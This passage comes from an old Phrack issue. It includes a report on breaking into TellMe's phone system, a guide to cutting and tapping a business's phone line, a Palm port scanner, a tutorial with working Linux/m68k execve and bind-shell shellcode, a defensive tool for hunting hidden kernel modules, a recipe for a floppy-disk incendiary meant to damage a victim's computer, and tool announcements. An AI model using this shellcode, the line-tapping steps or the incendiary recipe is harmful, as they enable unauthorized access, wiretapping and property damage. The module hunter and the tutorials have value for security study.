girlfriend's name, and spent the night hacking. Here's what I have come up
with so far:
Extension 76255:
----------------
This leads to a very bizarre game of Rock/Paper/Scissors. It is one of
the wierdest things that I have ever come across in all my days. I HIGHLY
suggest you try it. It is like some whiney hillbilly guy...well see fer
yerself!
Extension 11111:
----------------
A gypsy with an eight ball. You ask it questions, and it gives you
answers. There are no disclaimers, so I guess this is the real deal! Saying
"quit" or "Stop" won't help you. Just shut the hell up, and it will kick
you back into regular Tell-Me.
Extension 33333:
----------------
Produces the words "HELLO WORLD"
Extension 34118:
----------------
Produces a directory of TellMe's offices, with the regular phone
numbers.
Most of the worthy extensions consisted of foul language, so anyone
under 18 should stop reading now...
Use the letters on your telephone keypad, and you will get some very
intersting results. These are five letter words corresponding to the
numbers on your phone.
CUNTS - Produces a string of numbers of unknown meaning. Just a long
string of a computer voice saying "one, five, seven, three, twelve,
eighty-eight" etc. I'll figure out what that means later.
TITTY - This produces a fax tone, as opposed to a computer tone. I didn't
mess with it.
PENIS - This produces a verbal message about the sendmail system.
HOLES - This is the Quote of the Day.
BOOBS - This has to do with HTTP protocols.
SHIT0 - This is a directory of phone lines in the TellMe system.
FUCK0 - This is a very interesting directory of phone lines in the TellMe
system. Two of the lines appear to be trusted lines, providing a
computer tone which I used to log on. There was a first time user
option, which gave me a manager's account. (Do they have hundreds
of managers?) What can it do? I was able to delete my own account
and bring it back. I didn't fuck with anyone elses account. My goal
is not to destroy, but to learn.
PISS0 - As above, the TellMe system addresses me with a choice of talking
to a live person, or an automated directory of phone lines. I'm
amazed this is all behind a five digit password.
Damn0 - Yet another directory of trusted phone lines. This one, however
askes you for another password right up front, so I'm assuming this
is a more security sensative area!
Pussy - A discription of how to configure a TellMe webpage.
Cum69 - Advice on proper password generation. (hahahahahahahahahaha!!!!)
EATME - Computer tone leading to nowhere.
The TellMe security protocols are pathetic.
Archangel (The Teflon Con)
Wrath of God Hand Delivered
http://the.feds.are.lookingat.us
|=-----------------------------------------------------------------------=|
|=-=[ 3 - Shitboxing ]=--------------------------------------------------=|
|=-----------------------------------------------------------------------=|
by Agent5
So you're sitting in a small family owned type resturaunt or you're
walking through a small store looking at their various wares and, as normal
every couple times a day, you hear the call of nature. You make your way
towards the (preferably single occupancy) mens room (or ladies for those
few that may actually read this) and enter. So your doing your thing and
you're lookin around checking out your surroundings (why? cause you're
supposed to be fucking observant at all times.Thats why.) Your gaze takes
you towards the ceiling. Looks like most most cheap drop down ceilings.
hmmmm.... drop down ceiling.....easily removable. So you stand on the
toilet, or whatever, and take a look. You pull out your pocket flashlight
and take a look. Nothing but wires. Couple elecrical or telephone maybe...
..TELEPHONE? Does this mean i can sit on the throne and use the fone?
Indeed it does! All you need is a few things to help you make your dream
of phreaking at its absolute lazyest a reality.what you need will (besides
your beigebox with a RJ-11 plug on the cord) probably cost you, at an
extreme maximum, 3 bucks for parts and about 6 bucks for an telephone Line
Crimper for standard telephone plugs (RJ-11) you will also need a...
"modular line splitter - Provides two telephone jacks when plugged into the
end of a telephone line cord. Standard 4-wire jacks. Color: Ivory"----bout
dollar and change max cost. Most of these parts, if not all, can be found
at your local radioshack. Now if you havent figured out what i'm getting at
yet, you should seek medical attention immediately, CAT-scans have helped
me alot.<twitch>
Heres what you do and make sure you do it quickly in case they try to
use the telephone while the line is disconnected. SO make sure you lock the
door and get to work fast....if you have people beginning to knock on the
door just make some nasty shitting sounds and say you'll be out in a
minute.
1. Cut the line. (no specific tools needed, something sharp will do)
2. Attach a plug to either end of the line you have just cut.
3. Put one end of the plug in one end of the modular line splitter, put the
one thats left into one of the two holes on the front of the splitter.
4. Now you can either leave and let the intestinaly distressed old guy
pouding on the door in, or you can plug your beige box in and have some
fun.
Treat this as you would any other beige boxing session. Keep in mind
that the people who own the telephone line may want to use it to and may
not enjoy having someone on the line already. But for the most part this
ordinary bathroom has just become a your private telephone booth, complete
with running water and a toilet for the astronomical sum of 3 dollars US.
"This file brought to you by the makers of sharp things."
Shoutouts to Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel,
Hopping Goblin, Maddjimbeam, lioid, emerica, the rest of the #mabell
ninja's, port7 alliance, and LPH crew .
|=-----------------------------------------------------------------------=|
|=-=[ 4 - PalmMap v1.6 - Nmap for Palm ]=--------------------------------=|
|=-----------------------------------------------------------------------=|
(submitted by Shaun Colley <shaunige at yahoo.co.uk>)
-----BEGIN PALMMAP-----
# PalmMap.bas
# PalmMap v1.6 - Nmap for Palm.
fn set_auto_off(0)
s$(0) = "Host:"
s$(2) = "Start Port:"
s$(4) = "End Port:"
f = form(9, 3, "PalmMap v1.6")
if f = 0 then end
if f = 2 then gosub about
let h$ = s$(1)
let p = val(s$(3))
let e = val(s$(5))
let i = p
let t$ = "PalmMap.log"
open new "memo", t$ as #4
form2:
cls
form btn 30 , 40 , 40 , 18, "connect()", 1
form btn 85 , 40, 40 , 18 , "TCP SYN" , 1
form btn 60 , 80 , 40 , 18 , "UDP scan" , 1
form btn 60 , 120, 40 , 18 , "TCP FIN " , 1
draw "Scan type?", 50, 20, 1
while
x = asc(input$(1))
if x = 14 then gosub scan
if x = 15 then print "Scan type not implemented as of
yet."
if x = 16 then print "Scan type not implemented as of
yet."
if x = 17 then print "Scan type not implemented as of
yet."
wend
sub scan
cls
print at 50, 40
while(i <= e)
c = fn tcp(1, h$, i)
if(c = 0)
print "Port ", i, "Open"
fn tcp(-1, "", 0)
print #4, "Port ", i, "Open"
else
fn tcp(-1, "", 0)
print #4, "Port ", i, "Closed"
endif
let i = i + 1
wend
close #4
print "Scan complete!"
end
sub about
cls
msgbox("PalmMap - Nmap for Palm.", "About PalmMap
1.6")
-----END PALMMAP-----
|=-----------------------------------------------------------------------=|
|=-=[ 5 - Writing Linux/mc68xxx Shellcodez ]=----------------------------=|
|=-----------------------------------------------------------------------=|
by madcr (madrats@mail.ru)
I Introdaction.
II Registers.
III Syscalls.
IV Execve shellcode.
V Bind-socket shellcode.
VI References.
I. Introdaction.
The history Motorola begins already with 1920 then they let out radioelements
and about computers of nothing it was known. Only in 1974, motorola lets out
the first 8th the bit microprocessor - MC6800, containing 4000 transistors and
in 1979 motorola announces the first 16th bit processor - MC68000, capable to
process up to 2 million operations per one second. After 5 more years, in 1984
motorola relize the first 32th the bit processor (MC68020), containing 200000
transistors. Till 1994 inclusive motorola improved a series of the processors
and in a result, in March, release MC68060 processor contained 2,5 million
transistors. In present days, 68060 is the optimal processor for use any unix.
The processor can work in 2 modes: User and SuperVisor. It not analogy of the
real and protected mode in x86 processors. It some kind of protection
"just in case". In the user mode it is impossible to cause exceptions and it
is impossible to have access to all area of memory. In supervisor mode all is
accessible. Accordingly kernel work in Supervisor mode, and rest in User mode.
MC68 supported various manufacturers unix, such as netbsd, openbsd, redhat
linux, debian linux, etc. Given article is focused on linux (in particular
debian).
II. Registers.
The processor as a matter of fact the CISC (but there are some opportunities
RISC), accordingly not so is a lot of registers:
Eight registers of the data: with %d0 on %d7.
Eight registers of the address: with %a0 on %a7.
The register of the status: %sr.
Two stack indexes: %sp and %fp
The program counter: %pc.
Basically it is not required to us of anything more. And the minimal set of
instructions which is required to us by development shellcode:
instruction example description
move movl %d0,%d1 Put value from %d0 in %d1
lea leal %sp@(0xc),%a0 calculate the address on 0xc to
displacement in the stack and it
is put in. %a0.
eor eorl %d0,%d1 xor
pea pea 0x2f2f7368 push in stack '//sh'
In total these 4 instructions will be enough for a spelling functional
shellcode ?). And now it is high time to tell about the fifth, most important
instruction (fifth, need us i mean) and about exceptions. The instruction trap
- a call of exception. In processors motorola, only 256 exceptions, but of all
of them are necessary for us only one - trap #0. In mc68 linux on this
exception call to a kernel, for execution system call. Trap 0 refers to a
vector located to the address $80h (strange concurrence). Now we shall stop on
system calls more in detail.
III. System Calls.
System calls on the given architecture are organized thus:
%d0 - number of a system call.
%d1,%d2,%d3 - argv
i.e. to make banal setuid (0); we will have something unpretentious:
eorl %d2,%d2
movl %d2,%d1
movl #23,%d0
trap #0
Rather simple.
IV. Execve shellcode.
So, we shall start as always with old-kind execve:
.globl _start
_start:
.text
movl #11,%d0 /* execve() (see unistd.h) */
movl #m1,%d1 /* /bin/sh address */
movl #m2,%d2 /* NULL */
movl #m2,%d3 /* NULL too */
trap #0
.data
m1: .ascii "/bin/sh\0"
m1: .ascii "0\0".
# as execve.s -o execve.o ; ld execve.o -o execve
# ./execve
sh-2.03# exit
exit
#
Such code will not go, since he not pozitsio-independent and did not check him
on zero. Therefore we shall rewrite him with participation of the stack (since
the machine at us big endian the order of following of byte needs to be taken
into account):
.globl _start
_start:
moveq #11,%d0 /* execve() */
pea 0x2f2f7368 /* //sh */
pea 0x2f62696e /* /bin (big endian) */
movel %sp,%d1 /* /bin/sh in %d1 */
eorl %d2,%d2 /* pea 0x0 + avoiding */
movel %d2,%sp@- /* zero byte */
pea 0x130 /* pea 0030 -> 0130 = kill the zero */
movel %sp,%d2 /* NULL in %d2 */
movel %d2,%d3 /* NULL in %d2 */
trap #0 /* syscall */
# as execve2.s -o execve2.o ; ld execve2.o -o execve2
# ./execve2
sh-2.03# exit
exit
#
Very well. Now we shall mutate him in ascii and we shall look as it works:
char execve_shellcode[]=
"\x70\x0b" /* moveq #11,%d0 */
"\x48\x79\x2f\x2f\x73\x68" /* pea 0x2f2f7368 -> //sh */
"\x48\x79\x2f\x62\x69\x6e" /* pea 0x2f62696e -> /bin */
"\x22\x0f" /* movel %sp,%d1 */
"\xb5\x82" /* eorl %d2,%d2 -> */
"\x2f\x02" /* movel %d2,%sp@- -> pea 0x0 */
"\x48\x78\x01\x30" /* pea 0x130 */
"\x24\x0f" /* movel %sp,%d2 */
"\x26\x02" /* movel %d2,%d3 */
"\x4e\x40"; /* trap #0 */
main()
{
int *ret;
ret=(int *)&ret +2;
*ret = execve_shellcode;
}
# gcc execve_shellcode.c -o execve_shellcode
# ./execve_shellcode
sh-2.03# exit
exit
#
Our shellcode. Perfectly. But certainly it is not enough of it, therefore we
shall binding this shellcode on socket.
V. Bind-socket shellcode.
For the beginning we write our code on C:
#include <;;shiti;;>
main()
{
int fd,dupa;
struct sockaddr_in se4v;
fd=socket(AF_INET,SOCK_STREAM,0);
se4v.sin_port=200;
se4v.sin_family=2;
se4v.sin_addr.s_addr=0;
bind(fd,(struct sockaddr *)&se4v,sizeof(se4v));
listen(fd,1);
dupa=accept(fd,0,0);
dup2(dupa,0);
dup2(dupa,1);
dup2(dupa,2);
execl("/bin/sh","sh",0);
}
# gcc -static bindshell.c -o bindshell &
# ./bindshell &
[1] 276
# netstat -an | grep 200
tcp 0 0 0.0.0.0:200 0.0.0.0:* LISTEN
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
[1]+ Done ./bindshell
All works. Now the last, that us interests - it as there is a work with a
network.
# gdb -q ./bindshell
(gdb) disas socket
Dump of assembler code for function socket:
0x80004734 <socket>: moveal %d2,%a0
0x80004736 <socket+2>: moveq #102,%d0
0x80004738 <socket+4>: moveq #1,%d1
0x8000473a <socket+6>: lea %sp@(4),%a1
0x8000473e <socket+10>: movel %a1,%d2
0x80004740 <socket+12>: trap #0
0x80004742 <socket+14>: movel %a0,%d2
0x80004744 <socket+16>: tstl %d0
0x80004746 <socket+18>: bmil 0x80004958 <__syscall_error>
0x8000474c <socket+24>: rts
0x8000474e <socket+26>: rts
End of assembler dump.
(gdb)
Perfectly. As well as everywhere - 102 = socket_call. 1 - sys_socket.
(for the full list look net.h). Proceeding from the aforesaid we shall write
it on the assembler:
.globl _start
_start:
/* socket(AF_INET,SOCK_STREAM,0); ----------------------------------------- */
/* af_inet - 2, sock_stream - 1, ip_proto0 - 0 */
moveq #2,%d0
movl %d0,%sp@ /* sock_stream */
moveq #1,%d0
movel %d0,%sp@(0x4) /* AF_INET */
eorl %d0,%d0
movl %d0,%sp@(0x8)
movl %sp,%d2 /* put in d2 the address in the stack on where our argv*/
movl #0x66,%d0 /* socketcall (asm/unistd.h) */
movl #1,%d1 /* sys_socket (linux/net.h) */
trap #0 /* go on vector 80 */
/* -bind(socket,(struct sockaddr *)&serv,sizeof(serv));-------------------- */
movl %d0,%sp@ /* in d0 back descriptor on socket */
move #200,%d0
movl %d0,%sp@(0xc) /* port number */
eorl %d0,%d0
movl %d0,%sp@(0x10) /* sin_addr.s_addr=0 */
moveq #2,%d0
movl %d0,%sp@(0x14) /* sin_family=2 */
/* Let's calculate the address of an arrangement of constants of the */
/* second argument and we shall put this address as the second argument */
leal %sp@(0xc),%a0
movl %a0,%sp@(0x4)
moveq #0x10,%d0
movl %d0,%sp@(0x8) /* third argument 0x10 */
movl #0x66,%d0 /* socketcall (asm/unistd.h) */
movl #2,%d1 /* sys_bind (linux/net.h) */
trap #0 /* go on vector 80 */
/* listen (socket,1); ----------------------------------------------------- */
/* descriptor socket's already in stack. */
/*------------------------------------------------------------------------- */
moveq #1,%d0
movl %d0,%sp@(4)
/* in d2 already put address of the beginning arguments in the stack */
movl #0x66,%d0 /* scoketcall (asm/unistd.h) */
movl #4,%d1 /* sys_listen (linux/net.h) */
trap #0 /* go on vector 80 */
/* accept (fd,0,0); ------------------------------------------------------- */
eorl %d0,%d0
movl %d0,%sp@(4)
movl %d0,%sp@(8)
movl #0x66,%d0 /* scoketcall (asm/unistd.h) */
movl #5,%d1 /* sys_accept (linux/net.h) */
trap #0 /* go on vector 80 */
/* dup2 (cli,0); ---------------------------------------------------------- */
/* dup2 (cli,1); ---------------------------------------------------------- */
/* dup2 (cli,2); ---------------------------------------------------------- */
movl %d0,%d1
movl #0x3f,%d0
movl #0,%d2
trap #0
movl %d0,%d1
movl #0x3f,%d0
movl #1,%d2
trap #0
movl %d0,%d1
movl #0x3f,%d0
movl #2,%d2
trap #0
/* execve ("/bin/sh"); ----------------------------------------------------- */
movl #11,%d0 /* execve */
pea 0x2f2f7368 /* //sh */
pea 0x2f62696e /* /bin */
movl %sp,%d1 /* /bin/sh in %d1 */
eorl %d2,%d2
movl %d2,%sp@- /* pea 0x0 */
pea 0x0130 /* 0030 -> 0130 = kill the zero */
movl %sp,%d2
movl %d2,%d3
trap #0
/* ---EOF---bindsock shellcode--------------------------------------------- */
# as bindshell.s -o bindshell.o ; ld bindshell.o -o bindshell
# ./bindshell &
[309]
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
In general and all. The code certainly super-not optimized, is some zero, but
the general picture I hope has given. And at last how it should be:
char bind_shellcode[]=
"\x70\x02" /* moveq #2,%d0 */
"\x2e\x80" /* movel %d0,%sp@ */
"\x70\x01" /* moveq #1,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */
"\x24\x0f" /* movel %sp,%d2 */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x01" /* moveq #1,%d1 */
"\x4e\x40" /* trap #0 */
"\x2e\x80" /* movel %d0,%sp@ */
"\x30\x3c\x00\xc8" /* movew #200,%d0 */
"\x2f\x40\x00\x0c" /* movel %d0,%sp@(12) */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x10" /* movel %d0,%sp@(16) */
"\x70\x02" /* moveq #2,%d0 */
"\x2f\x40\x00\x14" /* movel %d0,%sp@(20) */
"\x41\xef\x00\x0c" /* lea %sp@(12),%a0 */
"\x2f\x48\x00\x04" /* movel %a0,%sp@(4) */
"\x70\x10" /* moveq #16,%d0 */
"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x02" /* moveq #2,%d1 */
"\x4e\x40" /* trap #0 */
"\x70\x01" /* moveq #1,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x04" /* moveq #4,%d1 */
"\x4e\x40" /* trap #0 */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x05" /* moveq #5,%d1 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x00" /* moveq #0,%d2 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x01" /* moveq #1,%d2 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x02" /* moveq #2,%d2 */
"\x4e\x40" /* trap #0 */
"\x70\x0b" /* moveq #11,%d0 */
"\x48\x79\x2f\x2f\x73\x68" /* pea 2f2f7368 */
"\x48\x79\x2f\x62\x69\x6e" /* pea 2f62696e */
"\x22\x0f" /* movel %sp,%d1 */
"\xb5\x82" /* eorl %d2,%d2 */
"\x2f\x02" /* movel %d2,%sp@- */
"\x48\x78\x01\x30" /* pea 130 */
"\x24\x0f" /* movel %sp,%d2 */
"\x26\x02" /* movel %d2,%d3 */
"\x4e\x40"; /* trap #0 */
main()
{
int *ret;
ret=(int *)&ret +2;
*ret = bind_shellcode;
}
p.s. as always - sorry for my poor english.
VI. References.
[1] http://e-www.motorola.com/collateral/M68000PRM.pdf - programmer's manual
[2] http://e-www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf - user's manual
[3] http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf - good tutorial
|=-----------------------------------------------------------------------=|
|=-=[ 6 - Finding hidden kernel modules (the extrem way) ]=--------------=|
|=-----------------------------------------------------------------------=|
by madsys <madsys at ercist.iscas.ac.cn>
1 Introduction
2 The technique of module hiding
3 Countermeasure -- brute force
4 Problem of unmapped
5 Greetings
6 References
7 Code
1 Introduction
==============
This paper presents a method for how to find out the hidden modules in
linux system. Generaly speaking, most of the attackers intend to hide
their modules after taking down the victim. They like this way to prevent
the change of kernel from being detected by the administrator. As modules
were linked to a singly linked chain, the original one was unable to be
recovered while some modules have been removed. In this sense, to retrieve
the hidden modules came up to be hard. Essential C skill and primary
knowledge of linux kernel are needed.
2 The technique of module hiding
================================
First of all, the most popular and general technique of module hiding
and the quomodo of application to get module's list were examined.
An implement of module hiding was shown as below:
----snip----
struct module *p;
for (p=&__this_module; p->next; p=p->next)
{
if (strcmp(p->next->name, str))
continue;
p->next=p->next->next; // <-- here it
removes that module
break;
}
----snip----
As you can see, in order to hide one module, the unidirectional chain was
modified, and following is a snippet of sys_create_module() system call,
which might tell why the technique worked:
----snip----
spin_lock_irqsave(&modlist_lock, flags);
mod->next = module_list;
module_list = mod; /* link it in */
spin_unlock_irqrestore(&modlist_lock, flags);
----snip----
A conclusion could be made: modules linked to the end of unidirectional
chain when they were created.
"lsmod" is an application on linux for listing current loaded modules,
which uses sys_query_module() system call to get the listing of loaded
modules, and qm_modules() is the actual function called by it while
querying modules:
static int qm_modules(char *buf, size_t bufsize, size_t *ret)
{
struct module *mod;
size_t nmod, space, len;
nmod = space = 0;
for (mod=module_list; mod != &kernel_module; mod=mod->next,
++nmod) {
len = strlen(mod->name)+1;
if (len > bufsize)
goto calc_space_needed;
if (copy_to_user(buf, mod->name, len))
return -EFAULT;
buf += len;
bufsize -= len;
space += len;
}
if (put_user(nmod, ret))
return -EFAULT;
else
return 0;
calc_space_needed:
space += len;
while ((mod = mod->next) != &kernel_module)
space += strlen(mod->name)+1;
if (put_user(space, ret))
return -EFAULT;
else
return -ENOSPC;
}
note: pointer module_list is always at the head of the singly linked
chain. It clearly showing the technique of hiding module was valid.
3 Countermeasure -- brute force
===============================
According to the technique of hiding module, brute force might be useful.
sys_creat_module() system call was expressed as below.
--snip--
if ((mod = (struct module *)module_map(size)) == NULL) {
error = -ENOMEM;
goto err1;
}
--snip--
and the macro module_map in "asm/module.h":
#define module_map(x) vmalloc(x)
You should have noticed that the function calls vmalloc() to allocate the
module struct. So the size limitation of vmalloc zone for brute force is
able to be exploited to determine what modules in our system on earth.
As you know, the vmalloc zone is 128M(2.2, 2.4 kernel, there are many
inanition zones in it), however, any allocated module should be aligned by
4K. Therefor, the theoretical maximum number we were supposed to detect
was 128M/4k=32768.
4 Problem of unmapped
=====================
By far, maybe you think: umm, it's very easy to use brute force to list
those evil modules". But it is not true because of an important
reason: it is possible that the address which you are accessing is
unmapped, thus it can cause a paging fault and the kernel would report:
"Unable to handle kernel paging request at virtual address".
So we must make sure the address we are accessing is mapped. The solution
is to verify the validity of the corresponding entry in kernel
pgd(swapper_pg_dir) and the corresponding entry in page table.Furthermore,
we were supposed to make sure the content of address pointed by "name"
pointer(in struct module) was valid. Because the 768~1024 entries of user
process's pgd were synchronous with kerenl pgd, and that was why such
hardcore address of kernel pgd (0xc0101000) was used.
following is the function for validating those entries in pgd or pgt:
int valid_addr(unsigned long address)
{
unsigned long page;
if (!address)
return 0;
page = ((unsigned long *)0xc0101000)[address >> 22];
//pde
if (page & 1)
{
page &= PAGE_MASK;
address &= 0x003ff000;
page = ((unsigned long *) __va(page))[address >>
PAGE_SHIFT]; //pte
if (page)
return 1;
}
return 0;
}
After validating those addresses which we would check, the next step would
be easy -- just brute force. As the list of modules including hidden
modules had been created, you could compare it with the output of "lsmod".
Then you can find out those evil modules and get rid of them freely.
5 Greetings
===========
Shout to uberhax0rs@linuxforum.net
6 Code
======
-----BEGING MODULE_HUNTER.C-----
/*
* module_hunter.c: Search for patterns in the kernel address space that
* look like module structures. This tools find hidden modules that
* unlinked themself from the chained list of loaded modules.
*
* This tool is currently implemented as a module but can be easily ported
* to a userland application (using /dev/kmem).
*
* Compile with: gcc -c module_hunter.c -I/usr/src/linux/include
* insmod ./module_hunter.o
*
* usage: cat /proc/showmodules && dmesg
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#ifdef CONFIG_SMP
#define __SMP__
#endif
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>
#include <asm/uaccess.h>
#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>
static int errno;
int valid_addr(unsigned long address)
{
unsigned long page;
if (!address)
return 0;
page = ((unsigned long *)0xc0101000)[address >> 22];
if (page & 1)
{
page &= PAGE_MASK;
address &= 0x003ff000;
page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT]; //pte
if (page)
return 1;
}
return 0;
}
ssize_t
showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off)
{
struct module *p;
printk("address module\n\n");
for (p=(struct module *)VMALLOC_START; p<=(struct \
module*)(VMALLOC_START+VMALLOC_RESERVE-PAGE_SIZE); p=(struct module \
)((unsigned long)p+PAGE_SIZE))
{
if (valid_addr((unsigned long)p+ (unsigned long)&((struct \
module *)NULL)->name) && valid_addr(*(unsigned long *)((unsigned long)p+ \
(unsigned long)&((struct module *)NULL)->name)) && strlen(p->name))
if (*p->name>=0x21 && *p->name<=0x7e && (p->size < 1 <<20))
printk("0x%p%20s size: 0x%x\n", p, p->name, p->size);
}
return 0;
}
static struct file_operations showmodules_ops = {
read: showmodule_read,
};
int init_module(int x)
{
struct proc_dir_entry *entry;
entry = create_proc_entry("showmodules", S_IRUSR, &proc_root);
entry->proc_fops = &showmodules_ops;
return 0;
}
void cleanup_module()
{
remove_proc_entry("showmodules", &proc_root);
}
MODULE_LICENSE("GPL");
MODULE_AUTHOR("madsys<at>ercist.iscas.ac.cn");
-----END MODULE-HUNTER.C-----
|=-----------------------------------------------------------------------=|
|=-=[ 7 - Good old floppy bombs ]=---------------------------------------=|
|=-----------------------------------------------------------------------=|
[ Note by the editors: We felt like it's time for a re-print of
some already forgotton fun with pyro techniques. Enjoy. ]
####################################
# How To Make A Diskette Bomb #
# by Phrick-A-Phrack #
####################################
Before I even start i want to make it clear that i do NOT take any
responsibility on the use of the information in this document.
This little baby is good to use to stuff up someones computer a little.
It can be adapted to a range of other things.
You will need:
- A disk (3.5" floppys are a good disk to use)
- Scissors
- White or blue kitchen matches (i have not found any other colors that
work - im not sure why)
- Clear nail polish
What to do:
- Carefully open up the diskette
- remove the cotton covering from the inside.
- scrape a lot of match powder into a bowl (use a woodent scraper as metal
might spark and ignite the match powder)
- After you have a lot, spread it EVENLY on the disk.
- Spread nail polish over the match powder on the disk.
- let it dry.
- carefully put the diskette back together and use the nail plish to seal
is shut.
How to use it:
Give it to someone you want to give a fright and stuff up their computer
a little. Tell them its got something they are interested in on it. When
they put it in their drive the drive head attempts to read the disk which
causes a small fire - enough heat to melt the disk drive and stuff the
head up!
^^Phrick-A-Phrack^^
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f
|=------------------=[ T O O L Z A R M O R Y ]=------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|
This new section, Phrack Toolz Armory, is dedicated to tool
annoucements. We will showcast selected tools of relevance to the computer
underground which have been released recently.
Drop us a mail if you develop something kewl that you think is worth of
being mentioned in #62.
Content:
1 - Scapy, Interactive Packet Manipulation Program by Biondi
2 - ShellForge, Shellcode Builder by Biondi
3 - objobf : burneye2 IA32 object file obfuscator by team-teso
4 - ELFsh, ELF objects manipulation scripting langage by Devhell labs.
5 - Packit, Network injection, capture and auditing by D. Bounds
----[ 1 - Scapy : interactive packet manipulation program
URL : http://www.cartel-securite.fr/pbiondi/scapy.html
Author : biondi@cartel-securite.fr
Comment : Scapy is a powerful interactive packet manipulation tool, packet
generator, network scanner, network discovery tool, and packet
sniffer. It provides classes to interactively create packets or
sets of packets, manipulate them, send them over the wire, sniff
other packets from the wire, match answers and replies, and
more. Interaction is provided by the Python interpreter, so
Python programming structures can be used (such as variables,
loops, and functions). Report modules are possible and easy to
make. It is able to do about the same things as ttlscan,
nmap, hping, queso, p0f, xprobe, arping, arp-sk, arpspoof,
firewalk, irpas, tethereal, tcpdump, etc.
Here are some techniques that you can use it for : port,
protocol, network scans, arp cache poisonning, dns poisonning,
DoSing, nuking, sniffing etherleaking, icmpleaking, firewalking,
NAT discovery, fingerprinting, etc.
----[ 2 - ShellForge : shellcode builder
URL : http://www.cartel-securite.fr/pbiondi/shellforge.html
Author : biondi@cartel-securite.fr
Comment : ShellForge is a kit that builds shellcodes from C.
It is inspired from Stealth's Hellkit. This enables to
create very complex shellcodes (see example which scans ports).
C header files are included that provide macros to substitute
libc calls with direct system calls and an Python script
automates compilation, extraction, encoding and tests.
----[ 3 - objobf : burneye2 IA32 object file obfuscator
URL : http://www.team-teso.net/projects/objobf/
Author : teso@team-teso.net
Comment : Objobf is part of the burneye2 binary security suite. It is an ELF
relocatable object file obfuscation program. While still a beta
release it works well on smaller object files and can significantly
increase the time for manual decompilation. Within the downloadable
tarball there are some examples. Besides obfuscation it does limited
code and dataflow analysis and displays them in high quality graphs,
using the free xvcg or the propietary aiSee graphing tools.
Full sourcecode of the objobf tool is available at the above URL.
----[ 4 - ELFsh 0.51b2 portable : ELF objects manipulation scripting language
URL : http://elfsh.devhell.org
http://elfsh.segfault.net (mirror)
Author : elfsh@devhell.org
Comments : ELFsh is an interactive and scriptable ELF machine to play with
executable files, shared libraries and relocatable ELF32
objects. It is useful for daily binary manipulations such as
on-the-fly patching, embedded code injection, and binary
analysis in research fields such as reverse engineering,
security auditing and intrusion detection. ELFsh is based on
libelfsh, so that the API is really useable in opensource
projects. This version works on 2 architectures (INTEL, SPARC)
and 4 OS (Linux, FreeBSD, NetBSD, Solaris).
----[ 5 - Packit : Network injection, capture and auditing tool
URL : http://packit.sf.net
Author : Darren Bounds <dbounds@intrusense.com>
Comments : Packit (Packet toolkit) is a network auditing tool. Its value is
derived from its ability to customize, inject, monitor, and
manipulate IP traffic. By allowing you to define (spoof) nearly
all TCP, UDP, ICMP, IP, ARP, RARP, and Ethernet header options,
Packit can be useful in testing firewalls, intrusion
detection/prevention systems, port scanning, simulating network
traffic, and general TCP/IP auditing. Packit is also an
excellent tool for learning TCP/IP. It has been successfully
compiled and tested to run on FreeBSD, NetBSD, OpenBSD, MacOS X
and Linux.
|=[ EOF ]=---------------------------------------------------------------=|
phrack.org:~# cat .bash_history
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f
|=---------------=[ P R O P H I L E O N D I G I T ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
|=---=[ Specification
Handle: DiGiT
AKA: digit, eskimo, icemonkey
Handle origin: its not a funny story
catch him: digit@security.is
Age of your body: 22
Produced in Reykjavik, Iceland
Height & Weight: 192cm, 80kg
Urlz: none
Computers: 2 laptops, 3 intel machines, indigo II, and a
sparc station
Member of: smapika international
Projects: Mostly just stuff for my work and school related
things.
|=---=[ Favorite things
Women: brunettes, blondes, and I prefer they have charisma,
ambition, independence, intelligence, sense of humor
Cars: German of course ;>
Foods: Italian, asian
Alcohol: beer, vodka/coke
Music: trance/techno, rock, classical
Movies: Pianist, godfather, Dune, LOTR, Bad boy bubby, Happiness
Books & Authors:
Urls:
I like: Achiving my goals, honesty, integrity, wachyness
I dislike: Waking up very early in the morning, constant rain, stuck
in an office all day, fake people
|=---=[ Life in 3 sentences
No fear. Never give up. Never surrender.
|=---=[ Passions | What makes you tick
I like to set myself some sort of goal and try to achieve that within
